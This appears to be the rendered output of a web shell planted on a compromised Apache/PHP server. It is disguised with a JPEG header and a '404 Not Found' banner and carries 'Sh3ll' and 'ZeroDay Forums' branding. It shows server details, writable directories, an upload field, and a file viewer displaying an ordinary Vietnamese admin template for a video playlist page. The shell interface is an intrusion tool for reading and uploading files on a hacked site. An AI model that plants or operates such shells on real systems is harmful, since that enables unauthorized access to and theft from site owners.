����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/admin_new/skin/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/admin_new/skin/admin/playlist.tpl
<h4 class="alert_info"><form action="index.php?act=playlist" method="post">
    <input type="text" name="fkeyword" value="" />
    <input type="submit" name="submita" value="Tìm kiếm" />
</form></h4>
{if $status == 'del_success'}
<h4 class="alert_success">Xóa banner thành công</h4>
{/if}
{if $status == 'add_success'}
<h4 class="alert_success">Thêm banner thành công</h4>
{/if}
{if $status == 'edit_success'}
<h4 class="alert_success">Sửa banner thành công</h4>
{/if}
{if $section == 'list'}
<script type="text/javascript">
    function get_mid(){
        if(confirm('Bạn có chắc muốn xóa?')){
            $('#form1').submit();
            return false;
        }
    }
</script>
<article class="module width_full">
    <header><h3 class="tabs_involved"><a href="javascript:void(0);" onclick="get_mid();">Xóa</a> | <a href="index.php?act=playlist&code=post">Thêm mới</a></h3></header>
    <input type="checkbox" name="all" id="checkall" /> Check all


    <div class="tab_container">

        <form action="index.php" method="post" name="post" id="form1">
            <input type="hidden" name="act" value="playlist">
        <div id="tab1" class="tab_content">
            <a name="phim"></a>
            <table class="tablesorter" cellspacing="0">
                <thead>
                <tr>
                    <th> </th>
                    <th>Tên</th>
                    <th>Số video</th>
                    <th>Hình</th>

                    <th>Actions</th>
                </tr>
                </thead>


                <tbody>


                {if $list}
                    {foreach from=$list key=k item=playlist}
                <tr>
                    <td><input type="checkbox" value="{$playlist.id}" name="mid_for_del[]"></td>
                    <td><a href="index.php?act=playlist&code=post&id={$playlist.id}" target="_blank">{$playlist.title}</a></td>
                    <td><a href="index.php?act=playlist&code=post&id={$playlist.id}" target="_blank">{$playlist.total}</a></td>
                    <td><a href="index.php?act=playlist&code=post&id={$playlist.id}" target="_blank"><img src="{$playlist.img}" width="50px"></a></td>

                    <td><a href="index.php?act=playlist&code=post&id={$playlist.id}" target="_blank"><img src="skin/{$skin_folder_admin}/images/icn_edit.png" title="Edit"></a> <a href="index.php?act=playlist&code=del&id={$playlist.id}" onclick="return confirm('Bạn có chắc muốn xóa?')"><img src="skin/{$skin_folder_admin}/images/icn_trash.png" title="Trash"></a></td>
                </tr>
                    {/foreach}
                {/if}

                </tbody>

            </table>
            <div class="spacer"></div>
            <div align="center">{$nav|html_entity_decode}</div>
            <div class="spacer"></div>
        </div>
        </form>

    </div><!-- end of .tab_container -->

</article><!-- end of content manager article -->
    {literal}
    <script type="text/javascript">
        $('#checkall:checkbox').change(function () {
            if($(this).attr("checked")) $('input:checkbox').attr('checked','checked');
            else $('input:checkbox').removeAttr('checked');
        });
    </script>
    {/literal}
{/if}


{if $section == 'post'}
<article class="module width_full">
    <header><h3>Quản lý playlist</h3></header>

    <style type="text/css">
        #sortable1, #sortable2 { list-style-type: none; margin: 0; padding: 0 0 2.5em; float: left; margin-right: 10px; }
        #sortable1 li, #sortable2 li { margin: 0 5px 5px 5px; padding: 5px; font-size: 1.2em; width: 275px; height: 14px; overflow: hidden; }
    </style>
    <script type="text/javascript">
        $(document).ready(function() {
            $( "#sortable1, #sortable2" ).sortable({
                connectWith: ".connectedSortable",
                stop: function() {
                    var list = '';
                    var i = 0;
                    $('#sortable2 *').each(function() {
                        list += $(this).attr('id') + '@';
                        i++;
                    });
                    $('#list_id').attr('value',list);
                    /*$.ajax({
                     type: 'POST',
                     url: 'index.php',
                     data: 'act=home&code=update_block_detail&total='+i+'&id=&list_id='+list,
                     dataType: '',
                     success: function(response) {
                     }
                     });*/
                }
            }).disableSelection();
        });
    </script>
 <form name="post" id="post" action="" method="post" enctype="multipart/form-data">
     <input type="hidden" name="list_id" id="list_id" value="{$post.txt_list_id}">
    <div class="module_content">


        <fieldset>
            <label>Tiêu đề</label>
            <input type="text" value="{$post.title|html_entity_decode}" name="title" />
        </fieldset>


        <fieldset>
            <label>IMG</label>
            <input type="text" name="img" value="{$post.img}" />

        </fieldset>
        <fieldset>
                <label>Loại phim</label>
                <select name="cat[]" multiple style="height: 200px;">
                    {foreach from=$list_cats item=list_cat}
                        <option value="{$list_cat.ecname}" {$list_cat.op}>{$list_cat.cname}</option>
                    {/foreach}

                </select>
        </fieldset>
        <div class="module_content">
            <h3>Nội dung chi tiết:</h3>
            <p>{$post.body}</p>
        </div>
        <fieldset>

            <label>Là phim lẻ</label>
            {$post.is_movie}


        </fieldset>

        <fieldset style="width:48%; float:left; margin-right: 3%;">
            <label>Cập nhật lại thời gian ?</label>
            <input name="update_time" value="1" type="checkbox" />
        </fieldset>

        <div class="contactArea" style="clear: both">
            Thuộc menu: <br><select id="menu_block"> {$menu} </select> Từ khóa: <input type="text" id="kw_block" style="width: 140px;"> <input type="button" value="Tìm bài viết" onclick="search_page();">
        </div>
        <p class="contactArea">
            Nội dung: <br>
        <ul id="sortable1" class="connectedSortable" style="border: solid 1px #ff7f50; width: 300px;">

        </ul>
        <ul id="sortable2" class="connectedSortable" style="border: solid 1px #7fff00; width: 300px;">
            {foreach from=$list_pages item=page}
                <li class="ui-state-default" id="{$page.id}">{$page.title}</li>
            {/foreach}
        </ul>
        </p>
        <script type="text/javascript">
            function search_page(){
                var id_menu = $('#menu_block').val();
                var kw = $('#kw_block').val();

                    $.ajax({
                        type: 'POST',
                        url: 'index.php',
                        data: 'act=home&code=search_page&id_menu='+id_menu+'&kw='+kw,
                        dataType: '',
                        success: function(response) {
                            $('#sortable1').html(response);
                        }
                    });
                
            }
            $(document).ready(function(){
                $('#form_1').ajaxForm({
                    complete: function(responseText){
                        location.reload();
                    }
                });
            });
        </script>


    </div>
    <footer>
        <div class="submit_link">
            <input type="hidden" name="id" value="{$post.id}" />
            <input type="submit" name="bsubmit" value=" Lưu " />


        </div>
    </footer>

  </form>
</article><!-- end of post new article -->

{/if}

ZeroDay Forums Mini